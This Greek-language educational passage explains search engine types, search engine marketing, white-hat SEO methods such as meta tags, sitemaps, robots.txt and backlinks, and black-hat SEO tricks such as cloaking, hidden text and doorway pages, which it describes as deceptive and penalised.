Ηuman-powered κατάλογοι Μία τέτοια μηχανή, βασίζει τη λειτουργία της στον ανθρώπινο παράγοντα για τις καταχωρήσεις της. Η διαδικασία της εγγραφής στον κατάλογο περιλαμβάνει την καταχώρηση μιας σύντομης περιγραφής στον κατάλογο για ολόκληρη την ιστοσελίδα, είτε από τον ενδιαφερόμενο κάτοχο του υπό καταχώρηση ιστοχώρου είτε από τους συντάκτες που αξιολογούν μια ιστοσελίδα, ενώ συνήθως πραγματοποιείται επί πληρωμή. Ένα αίτημα αναζητεί αντιστοιχίες μόνο στις περιγραφές που έχουν καταχωρηθεί. Τροποποιήσεις στην ιστοσελίδα που έχει ήδη καταχωρηθεί σε τέτοιες μηχανές δε φέρουν αντίστοιχες αλλαγές στην καταχώρηση καθ’ αυτήν. Hybrid μηχανές αναζήτησης Μια Hybrid μηχανή αναζήτησης αποτελείται από έναν συνδυασμό crawler – based μηχανής αναζήτησης και human – powered καταλόγου και στόχο έχει να παρουσιάζει στους χρήστες της τα πιο σχετικά και ολοκληρωμένα αποτελέσματα.

Με λίγα λόγια, μια τέτοια μηχανή αναζήτησης δίνει τη δυνατότητα στον ενδιαφερόμενο διαχειριστή ιστοσελίδας να καταχωρήσει την ιστοσελίδα του στον κατάλογο και παράλληλα αφήνει το αυτοματοποιημένο πρόγραμμα της μηχανής αναζήτησης να εισχωρήσει στο περιεχόμενο της ιστοσελίδας και να το αποθηκεύσει. Μηχανές Meta – αναζήτησης Πρόκειται για εφαρμογές που εκτελούν για λογαριασμό του χρήστη την αναζήτηση σε πολλές μηχανές και παρουσιάζουν αναδιοργανωμένα και συνοπτικά τα αποτελέσματα που προκύπτουν απαλείφοντας τις επαναλαμβανόμενες εγγραφές. Στόχος είναι η αξιοποίηση των δυνατοτήτων κάθε μηχανής, προκειμένου ο τελικός χρήστης να εντοπίσει ευκολότερα τις πηγές που τον ενδιαφέρουν. Τα πλεονεκτήματα αυτών των μηχανών αναζήτησης είναι η εξοικονόμηση χρόνου διότι η επανάληψη αναζήτησης σε κάθε μηχανή ξεχωριστά αποτελεί μια χρονοβόρα και επίπονη διαδικασία. Επιπλέον ο χρήστης υποβάλλει την ερώτησή του προς τη μετα-μηχανή, η οποία αναλαμβάνει να μετατρέψει την ερώτηση στην κατάλληλη μορφή για κάθε μηχανή αναζήτησης, ώστε να πραγματοποιηθεί χωρίς προβλήματα η επεξεργασία της. Δημοτικότητα μηχανών αναζήτησης Στην παρακάτω εικόνα παρουσιάζεται το μερίδιο αναζητήσεων στις μηχανές αναζήτησης όπως παρατηρήθηκε το Φεβρουάριο του 2015. Συγκεκριμένα η Google κατέχει το μεγαλύτερο μερίδιο στην αγορά με ποσοστό 87.97,αποτελεί δηλαδή τη δημοφιλέστερη μηχανή αναζήτησης, ακολουθεί η Bing με πολύ χαμηλότερο ποσοστό, στο 7.16, η Yahoo με 3.79 και οι υπόλοιπες μηχανές αναζήτησης κατακτώντας μόλις το 1.08% του μεριδίου της αγοράς.

Εκπαιδευτική Υποενότητα 6.1 Μάρκετινγκ Μηχανών Αναζήτησης (SEM) Το Search Engine Marketing ή αλλιώς το marketing των μηχανών αναζήτησης είναι μια μορφή του marketing στο διαδίκτυο που στοχεύει στην προώθηση των ιστοσελίδων, στην αύξηση της προβολής αυτής και στην καλύτερη κατάταξή της στη λίστα με τα αποτελέσματα. Οι σύγχρονες μηχανές αναζήτησης παρουσιάζουν τα αποτελέσματα αναζήτησης με παρόμοιο τρόπο: Τα αποτελέσματα που εμφανίζονται στην αριστερή πλευρά μιας σελίδας ονομάζονται «κύρια» ή «οργανικά» (natural or organic) αποτελέσματα, και για να εμφανιστεί μια σελίδα σε αυτά εξαρτάται αποκλειστικά από τον αλγόριθμο της μηχανής αναζήτησης και είναι δωρεάν.

Οι πληρωμένες (paid) καταχωρίσεις είναι ουσιαστικά διαφημίσεις που εμφανίζονται στη δεξιά πλευρά ή στην κορυφή της σελίδας, και ονομάζονται ‘Sponsored Listings’ ή Σύνδεσμοι Διαφημιζομένων ξεχωρίζοντας από τα οργανικά αποτελέσματα. Το Search Engine Marketing χρησιμοποιεί δύο μεθόδους: - Τη βελτιστοποίηση για μηχανές αναζήτησης (Search Engine Optimization-SEO) - Τη διαφήμιση μέσω μηχανών αναζήτησης (Pay Per Click-PPC) Search Engine Optimization-SEO Το SEO είναι ένας από τους πιο δημοφιλής όρους του ψηφιακού marketing(digital marketing). Επρόκειτο για μια μέθοδο σύμφωνα με την οποία θα φτιάξουμε την ιστοσελίδα μας ώστε να είναι η καταλληλότερη για ένα ερώτημα αναζήτησης και αρκετά αξιόπιστη ώστε να κερδίσει την εμπιστοσύνη των επισκεπτών. Δηλαδή είναι μια διαδικασία προσέλκυσης της επισκεψιμότητας μέσω των οργανικών αποτελεσμάτων αναζήτησης σε μηχανές αναζήτησης. Όλες οι μεγάλες μηχανές αναζήτησης όπως η Google, η Bing και η Yahoo κατηγοριοποιούν τις διάφορες ιστοσελίδες στα αποτελέσματα αναζήτησης που εμφανίζουν, ανάλογα με τη λέξη (keyword) ή φράση που αναζητά κάθε χρήστης τους. Η ταξινόμηση των σελίδων γίνεται με τη βοήθεια πολύπλοκων αλγορίθμων που λαμβάνουν δεκάδες παράγοντες υπόψιν τους. Ο στόχος των αλγορίθμων αυτών είναι να προσφέρουν τις πιο σχετικές ιστοσελίδες στον κάθε χρήστη των μηχανών αναζήτησης, με βάση την αναζήτηση που πραγματοποιεί. Μια σωστά κατασκευασμένη σελίδα από έναν δημιουργό ο οποίος γνωρίζει αρκετά καλά τους κανόνες προώθησης των ιστοσελίδων θα αναδειχθεί σε υψηλή θέση στα αποτελέσματα αναζήτησης. Pay Per Click-PPC Η ελληνική ορολογία της Pay Per Click είναι η πληρωμή ανά κλικ και αποτελεί μια από τις πιο διάσημες τεχνικές διαδικτυακής διαφήμισης. Οι μηχανές αναζήτησης, ανάλογα με τις λέξεις κλειδιά που χρησιμοποιήθηκαν από τον χρήστη ,εμφανίζουν διαφημίσεις κειμένου ή εικόνας σε εμφανή σημεία στα αποτελέσματα αναζήτησης. Αυτό έχει ως αποτέλεσμα η διαφήμιση που δημιουργήσαμε να εμφανίζεται στους «σωστούς» χρήστες οι οποίοι θα δείξουν ενδιαφέρον για αυτή. Στην περίπτωση που κάποιος χρήστης κάνει κλικ στη διαφήμιση μεταφέρεται στο site της και καταβάλλεται το αντίτιμο. Το κόστος αυτό ονομάζεται Cost Per Click (CPC). Η διαμόρφωση του κόστους εξαρτάται από το ποιο από τα δύο μοντέλα χρέωσης που χρησιμοποιεί ο εκάστοτε πάροχος διαφήμισης. Και

για τα δύο μοντέλα το ύψος της διαφήμισης που θα καταβληθεί σε περίπτωση που ένας επισκέπτης κάνει click πάνω της, το καθορίζει ο διαφημιζόμενος βάσει συγκεκριμένων παραμέτρων. Είναι ένας δυναμικός τρόπος διαφήμισης και χρησιμοποιείται από τις πιο γνωστές μηχανές αναζήτησης (Google, Yahoo, Bing κλπ), για αναζητήσεις συγκεκριμένων λέξεων-κλειδιών (keywords). Ο διαφημιζόμενος ορίζει το ποσό (προσφορά – bid) που επιθυμεί να καταβάλλει για την καμπάνια του, και με το οποίο θα ανταγωνιστεί τους υπόλοιπους διαφημιζόμενους. Με το ποσό αυτό θα χρεωθεί ο λογαριασμός της διαφημιζόμενης εταιρίας σε περίπτωση που η διαφήμισή της εμφανιστεί κατά την αναζήτηση ενός από τα επιλεγμένα keywords και ο χρήστης κάνει click σε αυτή. Για να καθοριστεί η σειρά που εμφανίζονται οι διαφημίσεις, διεξάγεται ένα είδος δημοπρασίας μεταξύ των προσφορών, η οποία ξεκινάει τη στιγμή που κάποιος χρήστης θα πληκτρολογήσει τις σχετικές λέξεις-κλειδιά στην μπάρα αναζήτησης. Όλες οι προσφορές που αφορούν στο εισαχθέν keyword και που στοχεύουν σε καθορισμένες παραμέτρους (γεωγραφική περιοχή, ημερομηνία και ώρα της αναζήτησης), συλλέγονται, συγκρίνονται και καθορίζεται η σειρά που θα εμφανιστούν οι διαφημίσεις. Το flat-rate δεν είναι τόσο διαδεδομένος τρόπος χρέωσης όσο το bid rate. Χρησιμοποιείται κυρίως από μικρότερα sites. Το κόστος ανά click είναι σταθερό και προκαθορισμένο. Τα rates στην συγκεκριμένη μέθοδο είναι συνήθως χαμηλής κλίμακας και οι διαφημιζόμενοι μπορούν να διαθέσουν μεγαλύτερο ποσό για να μπορέσουν να λάβουν και υψηλότερη θέση στην σειρά με την οποία εμφανίζονται οι διαφημίσεις Κατάταξη ιστοσελίδων Σύμφωνα με κάποιες τελευταίες έρευνες του εξωτερικού το 52% των χρηστών που αναζητούν πληροφορίες μέσω των μηχανών αναζήτησης επισκέπτονται ένα από τα αποτελέσματα της πρώτης σελίδας και το 18.2 % επισκέπτεται το πρώτο αποτέλεσμα που θα εμφανιστεί. Σύμφωνα λοιπόν με αυτά τα καθόλου ασήμαντα ποσοστά αντιλαμβανόμαστε την μέγιστη σημασία που κατέχει η κατάταξη της ιστοσελίδας μας. Οι σχεδιαστές των ιστοσελίδων η αλλιώς οι web designers όπως συνήθως αποκαλούνται έχουν ως βασικό τους σκοπό την καλύτερη κατάταξη της ιστοσελίδας τους και συγκεκριμένα το στόχο της κατοχής της υψηλότερης θέσης στη λίστα με τα αποτελέσματα που θα επιστρέψει η αναζήτηση που θα γίνει. Σε αρχικό στάδιο οι μηχανές αναζήτησης κατηγοριοποιούσαν τις ιστοσελίδες ανάλογα και μόνο από το περιεχόμενό τους.

Οι web designers απλώς υπέβαλαν την ιστοσελίδα στις μηχανές αναζήτησης και αυτές με τη σειρά τους χρησιμοποιώντας τα ειδικά προγράμματα crawlers ,τα οποία τα αναφέραμε στο προηγούμενο κεφάλαιο, έψαχναν την κάθε ιστοσελίδα αποθήκευαν τις πληροφορίες αυτών και τις κατηγοριοποιούσαν με βάσει το θέμα. Στη συνέχεια όμως λόγω του ταχύτατου ρυθμού αύξησης του αριθμού των ιστοσελίδων, οι μηχανές αναζήτησης αναγκάστηκαν να χρησιμοποιήσουν πιο «έξυπνους» αλγορίθμους οι οποίοι βασιζότανε σε πληροφορίες όπως το κείμενο μέσα στον τίτλο, κατάλογοι διεύθυνσης ιστοσελίδων (URL) και ονόματα αρχείων, HTML tags: κεφαλίδες και κείμενο έντονης γραφής κ.α. Η μηχανή αναζήτησης Google χρησιμοποιεί έναν αλγόριθμο ο οποίος βαθμολογεί μια ιστοσελίδα με βάσει τους εισερχόμενους υπερσυνδέσμους σε μια ιστοσελίδα. Συγκεκριμένα αν μια ιστοσελίδα αναφέρεται και σε πολλές άλλες ιστοσελίδες τότε θεωρείται ότι η ιστοσελίδα αυτή έχει μεγάλη αξία. Οι δημιουργοί των ιστοσελίδων γνωρίζοντας αυτή τη λογική του αλγορίθμου της Google πράττουν ανταλλαγή υπερσυνδέσμων μεταξύ διαφόρων ιστοσελίδων για την καλύτερη κατάταξη της ιστοσελίδας τους από τη μηχανή αναζήτησης. Οι διάφορες μηχανές αναζήτησης δεν αποκαλύπτουν τους αλγορίθμους που χρησιμοποιούν και επιπλέον τους ανανεώνουν αρκετά συχνά. Παρόλα αυτά οι τεχνικές βελτιστοποίησης SEO, έχουν καταλήξει ότι τα πιο σημαντικά σημεία για την βαθμολόγηση της ιστοσελίδας είναι οι λέξεις κλειδιά σε tag κεφαλίδων, οι λέξεις κλειδιά σε υπερσυνδέσμους προς μια ιστοσελίδα, οι λέξεις κλειδιά που εμφανίζονται στο κείμενο και η δημοτικότητα που έχει η ιστοσελίδα σύμφωνα με τη μέτρησης του αλγορίθμου της μηχανής αναζήτησης. Μέθοδοι SEO Οι υπηρεσίες βελτιστοποίησης ιστοσελίδων διαδραματίζουν πολύ σημαντικό ρόλο στην προώθηση μιας επιχείρησης στη διαφήμισή της και τελικά στην επιτυχία αυτής. Καθώς, οι τεχνικές Pay Per Click που αναλύσαμε παραπάνω μπορεί να αποδειχθούν αρκετά δαπανηρές όλο και περισσότερες επιχειρήσεις στρέφονται στην τεχνική της βελτιστοποίησης μέσω των μηχανών αναζήτησης με σκοπό να απευθυνθούν στο τεράστιο αγοραστικό κοινό του παγκόσμιου ιστού. Οι SEO τεχνικές με τη σειρά τους διαχωρίζονται σε καλόβουλες, "white hat SEO" και σε κακόβουλες, "black hat SEO τεχνικές. Διάφορες επιχειρήσεις οι οποίες εμπορεύονται τεχνικές SEO ,έχοντας ως σκοπό να προσελκύσουν τις προς διαφήμιση επιχειρήσεις, χρησιμοποιούσαν τις επιθετικές τεχνικές του SEO με σκοπό να επηρεάσουν τα πραγματικά αποτελέσματα μιας αναζήτησης προσπαθώντας έτσι να επηρεάσουν τις μηχανές αναζήτησης και κατ’ επέκταση τον χρήστη.

Οι μηχανές αναζήτησης με τη σειρά τους απαντούν στις κακόβουλες τεχνικές με τιμωρία τόσο στην επιχείρηση παροχής υπηρεσιών SEO αλλά και στην επιχείρηση που την προσέλαβε. Η τιμωρία αφορά τη μη κατάταξη της ιστοσελίδας ή και ακόμα την οριστική διαγραφή αυτής από τη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Για την αποτροπή των κακόβουλων τεχνικών SEO και την ώθηση των καλόβουλων οι μηχανές αναζήτησης παρέχουν στους χρήστες αυτών έναν οδηγό με τις επιτρεπόμενες ενέργειες SEO. 1) White hat SEO Οι καλόβουλές τεχνικές του SEO είναι και αυτές που προτείνονται από τις μηχανές αναζήτησης με σκοπό την αντικειμενική βαθμολόγηση της ιστοσελίδας και την σωστή και αξιόπιστη πληροφόρηση του χρήστη. Με τη σειρά τους οι White hat τεχνικές διακρίνονται σε On Page Optimization και σε Οff Page Optimization. On Page Optimization Οι on page optimization τεχνικές αφορούν το περιεχόμενο της ιστοσελίδας μας καθώς και παράγοντες που έχουν επίδραση σε αυτή ή στη λίστα με τα φυσικά αποτελέσματα της αναζήτησης. Οι παράγοντες αυτοί ελέγχονται από τον δημιουργό της ιστοσελίδας καθώς και από την κωδικοποίησή της και είναι οι ακόλουθοι: Πρέπει να δημιουργούμε μοναδικούς και κατανοητούς τίτλους για κάθε ιστοσελίδα για να έχει έτσι τη δυνατότητα η μηχανή αναζήτησης να την ξεχωρίζει τη σελίδα από τις υπόλοιπες του ιστότοπου. Ο τίτλος στο html έγγραφο πρέπει να τοποθετείται ανάμεσα στην ετικέτα head εγγράφου και να περιγράφετε μέσα στις ετικέτες <title>……….</title> . Οι μετα-ετικέτες περιγραφής χρησιμοποιούνται από τη μηχανή αναζήτησης ως απόσπασμα των ιστοσελίδων στα οργανικά αποτελέσματα. Όλοι μας έχουμε παρατηρήσει ως χρήστες μηχανής αναζήτησης ότι τις περισσότερες φορές οι λέξεις κλειδιά που πληκτρολογούμε εμφανίζονται με έντονη γραφή μέσα στην περιγραφή των σελίδων. Αυτό που πρέπει να προσέξουμε στην μετα-ετικέτα περιγραφής είναι ότι πρέπει να είναι μια σύντομη περίληψη του περιεχομένου της σελίδας κ να μην γίνει επανάληψη του τίτλου. Επίσης θα πρέπει να μη χρησιμοποιήσουμε την λέξη-κλειδί παραπάνω από μια φορά και στην περιγραφή να χρησιμοποιήσουμε συνώνυμες λέξεις. Και τέλος η μεταετικέτα περιγραφής δεν θα πρέπει να ξεπερνά τους 200 χαρακτήρες συμπεριλαμβάνοντας πάντα και τα κενά διαστήματα. Η χρήση των μετα-ετικετών είναι μια πρακτική η οποία βοηθάει μια ιστοσελίδα να γίνει πιο φιλική στη μηχανή αναζήτησης δηλαδή

βοηθάει την ιστοσελίδα να βρίσκεται όσο πιο ψηλά γίνεται στη λίστα με τα αποτελέσματα της αναζήτησης. Το γεγονός πόσο καλά θα δομήσουμε την διεύθυνση της ιστοσελίδα μας είναι ένας από τους σημαντικότερούς παράγοντες για την εξασφάλιση της επιτυχίας αυτής στα αποτελέσματα της μηχανής αναζήτησης. Επιπλέον σε ένα σωστά δομημένο url δίνει τη δυνατότητα στη μηχανή αναζήτησης να καθορίσει το θέμα της ιστοσελίδας χωρίς να χρειαστεί να εξετάσει το περιεχόμενό της. Για παράδειγμα η διεύθυνση http://www.example.com/forum/SEO/on-pageoptimization μας δείχνει ξεκάθαρα να καταλάβουμε ότι στο forum της ιστοσελίδας example.com θα δούμε μια συζήτηση σχετικά με το θέμα on page optimization της κατηγορίας seo. Ενώ σε αντίθεση η διεύθυνση www.organizations.gr/environmental/25458 δεν βοηθάει τη μηχανή αναζήτησης να κατανοήσει το περιεχόμενο της ιστοσελίδας και είναι μια κακώς δομημένη διεύθυνση. Το sitemap όπως δηλώνει και η αγγλική του ορολογία είναι ένας χάρτης της ιστοσελίδας. Επρόκειτο για μια μέθοδο η οποία βελτιστοποιεί το περιεχόμενο της ιστοσελίδας μας. Συγκεκριμένα το sitemap είναι μια σελίδα η οποία παρουσιάζει τη δομή της ιστοσελίδας αλλά και όλων των σελίδων που περιέχονται μέσα σε αυτή κάνοντας το περιεχόμενό της πιο φιλικό και κατανοητό για τους χρήστες. Τα sitemaps διευκολύνουν τους χρήστες της μηχανής αναζήτησης, αλλά τις ίδιες τις μηχανές αναζήτησης για την εύκολη περιήγηση και για τον εντοπισμό του περιεχομένου της σελίδας, τις βοηθάει το XML αρχείο. Είναι ένα τυπικό πρωτόκολλο που ενημερώνει το spider της μηχανής αναζήτησης για όλες τις διευθύνσεις που περιέχονται στην ιστοσελίδα μας και κατ’ επέκταση και για τη δομή του περιεχομένου αυτής. Οι επικεφαλίδες της σελίδας ορίζονται από τις ετικέτες <h1>, <h2>, <h3>, <h4>, <h5> και <h6>. Με την <h1> ορίζουμε την μεγαλύτερη ετικέτα, δηλαδή την ετικέτα με τους μεγαλύτερους σε μέγεθος χαρακτήρες που συνήθως αντιπροσωπεύουν το σημαντικότερο κείμενο της σελίδας ενώ με την <h6> την μικρότερη αντίστοιχα. Οι υπόλοιπες αντιστοιχούν σε ενδιάμεσου μεγέθους χαρακτήρες. Επρόκειτο για τη βελτιστοποίηση των εικόνων της ιστοσελίδας πράγμα το οποίο είναι αρκετά σημαντικό για την αύξηση της επισκεψιμότητας αυτής. Οι χρήστες μπορούν να αναγνωρίσουν και να κατανοήσουν σε τι αναφέρεται η εικόνα. Αντίθετα τα spiders των μηχανών αναζήτησης δεν έχουν αυτή τη δυνατότητα της άμεσης αναγνώρισης. Το Alt text (Alternative Text). Πρόκειται για μια html εντολή η οποία βοηθάει τις μηχανές αναζήτησης να

κατανοήσουμε το θέμα της εικόνας. Ο τρόπος σύνταξης είναι ο εξής: alt= «κείμενο σχετικό με το θέμα της εικόνας». Αποτελεί βασικό κομμάτι της on page βελτιστοποίησης διότι αυτό το αρχείο σηματοδοτεί στη μηχανή αναζήτησης ότι η ιστοσελίδα επιθυμεί να ευρετηριαστεί και να καταχωρηθεί στη βάση δεδομένων τους. Πρόκειται για ένα απλό αρχείο κειμένου txt το οποίο ορίζει τι επιτρέπεται να σαρώσουν τα spiders της μηχανής αναζήτησης από την ιστοσελίδα και τι όχι. Συγκεκριμένα είναι μια κοινή ετικέτα στην οποία έχουν δυνατότητα ανάγνωσης της ο καθένας. Η ετικέτα User-Agent δηλώνει τις σελίδες που μπορεί να ανιχνεύσει η μηχανή αναζήτησης ενώ η ετικέτα disallow δηλώνει αποτροπή ανίχνευσης κάποιων συγκεκριμένων σελίδων της ιστοσελίδας. Επιπλέον Ο γενικός κανόνας του robots.txt ορίζει πως πρώτα απ’όλα πρέπει να φροντίσουμε το αρχείο αυτό να υπάρχει στη ρίζα του domain σας, για παράδειγμα mydomain.gr/robots.txt, και στη συνεχεία να αποφασίσουμε ποια τμήματα της ιστοσελίδας μας δεν θέλουμε να ευρετηριαστούν από τα spiders της μηχανής αναζήτησης. Η παράμετρος rel προέρχεται από την αγγλική λέξη relationship που σημαίνει σχέση και υποδηλώνει τη σχέση μεταξύ της σελίδας που παρέχει τον σύνδεσμο και της σελίδας προορισμού του συνδέσμου. Η χρήση της παραμέτρου rel= “nofollow ενημερώνει τη μηχανή αναζήτησης να αποφύγει την ευρετηρίαση των spam ιστοσελίδων, δηλαδή ιστοσελίδων με ανεπιθύμητο περιεχόμενο. Η παράμετρος αυτή τοποθετείται ανάμεσα στις ετικέτες <a href="link" rel="NoFollow"> </a>. Η ετικέτα αυτή χρησιμοποιείται για να ενημερώσουν οι ιδιοκτήτες των ιστοσελίδων τις μηχανές αναζήτησης και όχι τους επισκέπτες, ποιες λέξεις-κλειδιά επιθυμούν να βελτιστοποιήσουν. Σήμερα βέβαια οι μηχανές αναζήτησης είναι εξελιγμένες σ αυτό το κομμάτι και το πραγματοποιούν αυτή τη διαδικασία οι ίδιες με αποτέλεσμα οι μετα-ετικέτες λέξεων-κλειδιών να μην είναι πλέον και τόσο σημαντικές. Off Page Optimization Οι off page διαδικασίες βελτιστοποίησης σε αντίθεση με τις on page διαδικασίες δεν αναφέρεται σε παράγοντες που έχουν επίδραση στην ιστοσελίδα και σε παράγοντες που ελέγχονται από τον κάτοχο της ιστοσελίδας ή από την κωδικοποίηση αυτής. Οι off page διαδικασίες αναφέρονται σε παράγοντες που επιδρούν, όπως υποδηλώνει και η ονομασία τους, εκτός σελίδας έχοντας ως σκοπό την προώθηση και διαφήμισης της ιστοσελίδας και

κατ’ επέκταση την υψηλότερη κατάταξη στη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Επιπλέον οι τεχνικές εκτός ιστοσελίδας είναι ο αριθμός των εισερχομένων συνδέσεων καθώς και η ποιότητα των σελίδων από τις οποίες προέρχονται και καθορίζουν το πόσο σημαντική θεωρεί η μηχανή αναζήτησης την ιστοσελίδα αυτή. Συγκεκριμένα εστιάζονται στην αύξηση του page rank της ιστοσελίδας. Το page rank είναι ένα εργαλείο μέτρησης της μηχανής αναζήτησης σε μια κλίμακα από το 0 έως το 10,με άριστα το 10. Το page rank για να βαθμολογεί την ιστοσελίδα έχοντας ως κριτήρια την «ηλικία» της ιστοσελίδας, το περιεχόμενο και τη δομή της. Όσο μεγαλύτερο είναι λοιπόν αυτό το νούμερο τόσο πιο σημαντική θεωρεί την ιστοσελίδα η μηχανή αναζήτησης και την ανταμείβει δίνοντάς της υψηλότερη θέση στη λίστα των αποτελεσμάτων της. Να αναφέρουμε επίσης ότι οι off page διαδικασίες έπονται των on page διαδικασιών. Αποτελεί μια ιδιαίτερα σημαντική μέθοδο για την προώθηση της ιστοσελίδας. Πρόκειται για τη δημιουργία κάποιων συνδέσμων στην ιστοσελίδα μας οι οποίοι προέρχονται από άλλες αξιόπιστες και ποιοτικές ιστοσελίδες στους οποίους πάνω αν κάνουμε click μας οδηγούν στον ιστότοπο μας. Η παρουσία τέτοιων συνδέσμων στην ιστοσελίδα εκτιμάται σε σημαντικό βαθμό από τη μηχανή αναζήτησης. Αρχικά όσα περισσότερα back links είχε μια ιστοσελίδα τόσο καλύτερη κατάταξη είχε. Στην παρούσα φάση όμως οι μηχανές αναζήτησης εκτιμούν τα ποιοτικά back links και όχι τα ποσοτικά. Στη σημερινή εποχή υπάρχουν πολλοί ιστότοποι κοινωνικής δικτύωσης οι οποίοι αποτελούν μέρος της καθημερινότητας ολοένα και περισσότερων ατόμων. Αυτό το γεγονός δε θα μπορούσε να μείνει ανεκμετάλλευτο από τους κατόχους των ιστοσελίδων που επιθυμούν την προώθηση και την αύξηση της αναγνωρισημότητας των προϊόντων ή των υπηρεσιών τους, καθώς και την προσέλκυση νέων πελατών ή συνεργατών. Οι πιο δημοφιλείς ιστότοποι κοινωνικής δικτύωσης σήμερα είναι το Facebook, το MySpace, το Yutube, το Blogger, το Wordpress, το Flicker, το Twitter και το LinkedIn. Η βελτιστοποίηση των κοινωνικών δικτύων ή αλλιώς το λεγόμενο Social Media Optimization όπως αποκαλείται, περιλαμβάνει κάποιες ενέργειες όπως είναι η δημιουργία κοινωνικού δικτύου, δηλαδή να δημιουργήσουμε μια σελίδα σε κάποιο κοινωνικό δίκτυο. Επίσης η δημιουργία ενός blog με ένα αρκετά ενδιαφέρον περιεχόμενο και η συμμετοχή σε συζητήσεις

στα διάφορα forums δημιουργεί συνδέσμους προς την ιστοσελίδα με αποτέλεσμα την αύξηση της επισκεψιμότητας αυτής. Όπως είδαμε και σε προηγούμενο κεφάλαιο η Google κατέχει το μεγαλύτερο μερίδιο στις προτιμήσεις των χρηστών για μηχανές αναζήτησης. Αυτό το στοιχείο όμως δεν επαναπαύει μια ανταγωνιστική επιχείρηση να διαφημίσει την ιστοσελίδα της μόνο σε αυτή τη μηχανή αναζήτησης. Προκειμένου λοιπόν να κερδίσει στη μάχη της διαφήμισης και του ανταγωνισμού εντάσσει την ιστοσελίδα της σε όλες τις μηχανές αναζήτησης με σκοπό να απευθυνθεί στο 100% των χρηστών και όχι μόνο στο μεγαλύτερο μέρος αυτών. Μια πολύ καλή και άλλοτε ανέξοδη προώθηση της ιστοσελίδας μας είναι η τοποθέτηση σε καταλόγους οι οποίοι λειτουργούν κ αυτοί όπως οι μηχανές αναζήτησης με τη διαφορά ότι οι human-powered κατάλογοι όπως δηλώνει και η ονομασία τους βασίζουν τη λειτουργία τους στον ανθρώπινο παράγοντα και όχι σε δυναμικά λογισμικά προγράμματα όπως οι μηχανές αναζήτησης. Το διαφημιστικό banner ή αλλιώς το web banner αποτελεί ένα είδος online διαφήμισης η οποία ενσωματώνεται σε μια ιστοσελίδα στο διαδίκτυο. Τα banners θα πρέπει να προσελκύουν το ενδιαφέρον του χρήστη και χαρακτηριζόμενα από καλαισθησία και σαφήνεια χωρίς να κουράζουν τον χρήστη να τον οδηγούν να πατήσει click πάνω τους αυξάνοντας έτσι την επισκεψιμότητα. Επρόκειτο για μηνύματα τα οποία στέλνει ο διαφημιζόμενος στους πελάτες του για να προωθήσει κάποιο προϊόν του ή υπηρεσία του. Ακόμα τα μηνύματα αυτά μπορεί να έχουν ως θέμα την αποστολή ηλεκτρονικών ευχών σε γιορτινές περιόδους, δημιουργώντας έτσι προσωπικές σχέσεις με τους πελάτες της και κερδίζοντας την εμπιστοσύνη και το σεβασμό τους. Επίσης ο κάτοχος της σελίδας έχει τη δυνατότητα να ενσωματώσει τα newsletters στην ίδια του την ιστοσελίδα και να τα ταξινομήσει κατά ημερομηνία. 2) Black hat SEO Στην ορολογία του search Engine Optimization το black hat αναφέρεται στη χρήση των επιθετικών και ύπουλων στρατηγικών και τεχνικών οι οποίες δεν συμβαδίζουν και δεν υπακούουν με τις κατευθυντήριες γραμμές των μηχανών αναζήτησης. Πρόκειται δηλαδή για παράνομες μεθόδους που προσπαθούν να εξαπατήσουν και να παραπλανήσουν τις μηχανές αναζήτησης και να αναδείξουν μια γρήγορη οικονομική απόδοση της ιστοσελίδας τους. Αυτές οι τεχνικές όμως όταν γίνουν αντιληπτές από τις μηχανές αναζήτησης υποβάλλουν τόσο τον

κάτοχο της ιστοσελίδας όσο και τον κάτοχο εμπορίου black hat τεχνικών σε ποινές. Στη συνέχεια αναλύονται κάποιες από τις πιο βασικές black hatτεχνικές. Το cloaking είναι μια μέθοδος όπου το περιεχόμενο μιας ιστοσελίδας που παρουσιάζεται στο spider της μηχανής αναζήτησης είναι διαφορετικό από αυτό που παρουσιάζεται στον τελικό χρήστη του διαδικτύου όταν επισκεφτεί την ιστοσελίδα. Ο τρόπος με τον οποίο επιτυγχάνεται αυτό είναι η χρήση της διεύθυνσης ΙΡ της ιστοσελίδας, ή του πράκτορα που ζητά την HTTP. Δημιουργούνται δύο σύνολα από ιστοσελίδες, ένα για τους επισκέπτες χρήστες και ένα για τα προγράμματα των μηχανών αναζήτησης. Με τον τρόπο αυτό τα προγράμματα spiders κάνουν προσπέλαση σε διαφορετική σελίδα η οποία μπορεί να είναι διαφορετικού περιεχομένου από την αρχική και η οποία κατατάσσεται σε ψηλότερη θέση. Κάθε φορά που ζητείται η σελίδα ανάλογα αν είναι πρόγραμμα της μηχανής αναζήτησης επιστρέφεται η ανάλογη σελίδα. Ο μόνος νόμιμος τρόπος για χρήση της μεθόδου cloaking είναι για περιεχόμενα τα οποία οι μηχανές αναζήτησης δεν μπορούν να προσπελάσουν, όπως Macromedia Flash. Με χρήση του cloaking, οι τελικοί χρήστες εξαπατώνται κι επισκέπτονται ιστοσελίδες οι οποίες είτε έχουν μικρή είτε σε αρκετές περιπτώσεις καμία απολύτως σχέση με τα κριτήρια της αναζήτησης πράγμα το οποίο παρουσιάζει τη μηχανή αναζήτησης που προτίμησε ο χρήστης ως μη αξιόπιστη. Σε πολλές περιπτώσεις, σχεδιαστές επιθυμώντας την καλύτερη ανάδειξη της ιστοσελίδας τους, τοποθετούν ή πιο σωστά «κρύβουν» κείμενο, λέξεις ή υπερσυνδέσμους, με το να τα χρωματίζουν με το ίδιο χρώμα με το φόντο. Για παράδειγμα άσπρα γράμματα σε λευκή σελίδα. Το κρυμμένο κείμενο μπορεί να το προσπελάσει την αντίδραση των μηχανών αναζήτησης. Οι επισκέπτες ιστοσελίδας όμως μπορεί να μην παρατηρήσουν ένα hidden text όπως αποκαλείται. Η τοποθέτηση κρυμμένου κειμένου ανήκει στην κατηγορία τεχνικών «εξαπάτησης» μέσω ρου περιεχομένου μιας ιστοσελίδας. Παρόμοιες τέτοιες τεχνικές είναι η τοποθέτηση πολλαπλών αντιγράφων ενός τίτλου μέσα σε μια ιστοσελίδα και τοποθέτηση πολλαπλών αντιγράφων λέξεων κλειδιών μέσα στην ιστοσελίδα με πολύ μικρή γραμματοσειρά. Οι doorway ιστοσελίδες δημιουργούνται με αποκλειστικό σκοπό την όσο το δυνατόν καλύτερη κατάταξη στα φυσικά αποτελέσματα των μηχανών αναζήτησης και η οποία από μόνη της δεν παρέχει αξιόλογες πληροφορίες σε όσους την επισκέπτονται. Συνήθως οι ιστοσελίδες αυτής της μορφής καθοδηγούν ή παρασύρουν τους επισκέπτες 